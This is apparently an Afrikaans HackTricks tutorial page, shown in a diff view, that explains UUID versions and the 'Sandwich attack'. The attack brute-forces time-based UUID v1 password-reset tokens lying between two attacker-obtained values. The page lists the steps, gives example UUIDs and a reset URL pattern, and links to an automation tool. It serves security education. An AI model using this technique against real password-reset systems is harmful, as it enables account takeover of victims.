* **UUID v1** is tyd-gebaseerd, wat die tydstempel, klokvolgorde, en node ID (MAC-adres) inkorporeer, maar dit kan potensieel stelselinligting blootstel.
|
||||
* **UUID v2** is soortgelyk aan v1 maar sluit wysigings vir plaaslike domeine in (nie wyd gebruik nie).
|
||||
* **UUID v3 en v5** genereer UUIDs deur hash-waardes van die naamsruimte en naam te gebruik, met v3 wat MD5 en v5 wat SHA-1 gebruik.
|
||||
* **UUID v4** word amper heeltemal willekeurig gegenereer, wat 'n hoë vlak van anonimiteit bied maar met 'n ligte risiko van duplikate.
|
||||
|
||||
{% hint style="success" %}
|
||||
Let daarop dat die weergawe en subweergawe van die UUID gewoonlik op dieselfde posisie binne die UUID verskyn. Byvoorbeeld in:\
|
||||
12345678 - abcd - 1a56 - a539 - 103755193864\
|
||||
xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx
|
||||
|
||||
* Die **posisie van die M** dui die UUID **weergawe** aan. In die voorbeeld hierbo, is dit UUID v**1**.
|
||||
* Die **posisie van die N** dui die UUID variant aan.
|
||||
{% endhint %}
|
||||
|
||||
## Sandwich-aanval
|
||||
|
||||
Die "Sandwich-aanval" is 'n spesifieke tipe aanval wat die voorspelbaarheid van UUID v1-generasie in webtoepassings **uitbuit**, veral in kenmerke soos wagwoordherstel. UUID v1 word gegenereer op grond van tyd, klokvolgorde, en die node se MAC-adres, wat dit enigsins voorspelbaar kan maak as 'n aanvaller sommige van hierdie UUIDs wat naby in tyd gegenereer is, kan verkry.
|
||||
|
||||
### Voorbeeld
|
||||
|
||||
Stel jou voor 'n webtoepassing wat UUID v1 gebruik vir die genereer van wagwoordherstelskakels. Hier is hoe 'n aanvaller dit kan uitbuit om ongemagtigde toegang te verkry:
|
||||
|
||||
1. **Inisieële Opstelling**:
|
||||
|
||||
* Die aanvaller het beheer oor twee e-posrekeninge: \`aanvaller1@acme.com\` en \`aanvaller2@acme.com\`.
|
||||
* Die teiken se e-posrekening is \`slagoffer@acme.com\`.
|
||||
|
||||
2. **Uitvoering**:
|
||||
|
||||
* Die aanvaller inisieer 'n wagwoordherstel vir hul eerste rekening (\`aanvaller1@acme.com\`) en ontvang 'n wagwoordherstelskakel met 'n UUID, sê \`99874128-7592-11e9-8201-bb2f15014a14\`.
|
||||
* Onmiddellik daarna inisieer die aanvaller 'n wagwoordherstel vir die slagoffer se rekening (\`slagoffer@acme.com\`) en dan vinnig vir die tweede aanvaller-beheerde rekening (\`aanvaller2@acme.com\`).
|
||||
* Die aanvaller ontvang 'n herstelskakel vir die tweede rekening met 'n UUID, sê \`998796b4-7592-11e9-8201-bb2f15014a14\`.
|
||||
|
||||
3. **Ontleding**:
|
||||
|
||||
* Die aanvaller het nou twee UUIDs wat naby in tyd gegenereer is (\`99874128\` en \`998796b4\`). Gegewe die opeenvolgende aard van tyd-gebaseerde UUIDs, sal die UUID vir die slagoffer se rekening waarskynlik tussen hierdie twee waardes val.
|
||||
|
||||
4. **Brute Force Aanval:**
|
||||
|
||||
* Die aanvaller gebruik 'n instrument om UUIDs tussen hierdie twee waardes te genereer en toets elke gegenereerde UUID deur te probeer om toegang tot die wagwoordherstelskakel te verkry (bv., \`https://www.acme.com/reset/\<gegenereerde-UUID>\`).
|
||||
* As die webtoepassing nie sulke pogings voldoende beperk of blokkeer nie, kan die aanvaller vinnig al die moontlike UUIDs in die reeks toets.
|
||||
|
||||
5. **Toegang Verkry:**
|
||||
|
||||
* Sodra die korrekte UUID vir die slagoffer se wagwoordherstelskakel ontdek is, kan die aanvaller die slagoffer se wagwoord herstel en ongemagtigde toegang tot hul rekening verkry.
|
||||
|
||||
### Gereedskap
|
||||
|
||||
* Jy kan die sandwich-aanval outomaties uitvoer met die instrument: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||
* Jy kan hierdie tipe UUIDs opspoor in Burp Suite met die uitbreiding [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
Loading…
Add table
Reference in a new issue